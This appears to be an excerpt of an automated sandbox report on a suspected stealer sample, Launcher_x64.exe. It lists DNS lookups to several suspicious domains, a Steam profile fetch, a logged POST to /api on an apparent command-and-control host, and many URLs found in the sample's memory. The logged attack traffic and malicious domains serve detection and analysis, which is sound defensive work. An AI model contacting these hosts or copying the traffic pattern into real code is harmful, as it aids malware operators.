Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: bellflamre.click
Source: global traffic	DNS traffic detected: DNS query: sendypaster.xyz
Source: global traffic	DNS traffic detected: DNS query: steppriflej.xyz
Source: global traffic	DNS traffic detected: DNS query: greywe-snotty.cyou
Source: global traffic	DNS traffic detected: DNS query: supporse-comment.cyou
Source: global traffic	DNS traffic detected: DNS query: smash-boiling.cyou
Source: global traffic	DNS traffic detected: DNS query: ripe-blade.cyou
Source: global traffic	DNS traffic detected: DNS query: hosue-billowy.cyou
Source: global traffic	DNS traffic detected: DNS query: pollution-raker.cyou
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com

Source: Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: Launcher_x64.exe, 00000003.00000003.2501359203.0000000003621000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Launcher_x64.exe, 00000003.00000003.2501359203.0000000003621000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Launcher_x64.exe, 00000003.00000003.2501359203.0000000003621000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Launcher_x64.exe, 00000003.00000003.2501359203.0000000003621000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Launcher_x64.exe, 00000003.00000003.2501359203.0000000003621000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Launcher_x64.exe, 00000003.00000003.2501359203.0000000003621000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Launcher_x64.exe, 00000003.00000003.2501359203.0000000003621000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Launcher_x64.exe, 00000003.00000003.2501359203.0000000003621000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Launcher_x64.exe, 00000003.00000003.2501359203.0000000003621000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Launcher_x64.exe, 00000003.00000003.2456444244.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433702875.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2456214724.0000000001088000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: Launcher_x64.exe, 00000003.00000003.2456444244.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433702875.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2456214724.0000000001088000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: Launcher_x64.exe, 00000003.00000003.2456444244.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433702875.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2456214724.0000000001088000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: Launcher_x64.exe, 00000003.00000003.2501359203.0000000003621000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Launcher_x64.exe, 00000003.00000003.2501359203.0000000003621000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Launcher_x64.exe, 00000003.00000003.2457482484.000000000363C000.00000004.00000800.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2457582897.000000000363A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433824621.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: Launcher_x64.exe, 00000003.00000003.2503346324.00000000035F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: Launcher_x64.exe, 00000003.00000003.2457482484.000000000363C000.00000004.00000800.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2457582897.000000000363A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: Launcher_x64.exe, 00000003.00000003.2457482484.000000000363C000.00000004.00000800.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2457582897.000000000363A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Launcher_x64.exe, 00000003.00000003.2457482484.000000000363C000.00000004.00000800.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2457582897.000000000363A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433702875.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433824621.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433702875.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433824621.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433702875.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433702875.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433824621.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433702875.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433824621.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433702875.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433824621.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=hyEE
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=St3gSJx2HFUZ&l=e
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2411971403.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: Launcher_x64.exe, 00000003.00000003.2503346324.00000000035F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: Launcher_x64.exe, 00000003.00000003.2457482484.000000000363C000.00000004.00000800.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2457582897.000000000363A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Launcher_x64.exe, 00000003.00000003.2457482484.000000000363C000.00000004.00000800.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2457582897.000000000363A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Launcher_x64.exe, 00000003.00000003.2457482484.000000000363C000.00000004.00000800.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2457582897.000000000363A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: Launcher_x64.exe, 00000003.00000003.2411971403.0000000001076000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433665660.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: Launcher_x64.exe, 00000003.00000003.2503346324.00000000035F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: Launcher_x64.exe, 00000003.00000003.2456252406.0000000001036000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433702875.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000002.2610718575.0000000000FE1000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2433702875.0000000001036000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2556263712.000000000103B000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2555293768.0000000001036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: Launcher_x64.exe, 00000003.00000002.2611002767.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/-
Source: Launcher_x64.exe, 00000003.00000003.2433702875.0000000001036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/0
Source: Launcher_x64.exe, 00000003.00000003.2456252406.0000000001036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/1&0
Source: Launcher_x64.exe, 00000003.00000003.2555293768.0000000001036000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2530449435.0000000001036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: Launcher_x64.exe, 00000003.00000003.2456252406.0000000001036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apip
Source: Launcher_x64.exe, 00000003.00000003.2556263712.000000000103B000.00000004.00000020.00020000.00000000.sdmp, Launcher_x64.exe, 00000003.00000003.2555293768.0000000001036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/e
Source: Launcher_x64.exe, 00000003.00000003.2456252406.0000000001036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/om1&0
Source: Launcher_x64.exe, 00000003.00000002.2611002767.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi
Source: Launcher_x64.exe, 00000003.00000002.2611002767.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/piE
Source: Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: Launcher_x64.exe, 00000003.00000003.2412017198.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
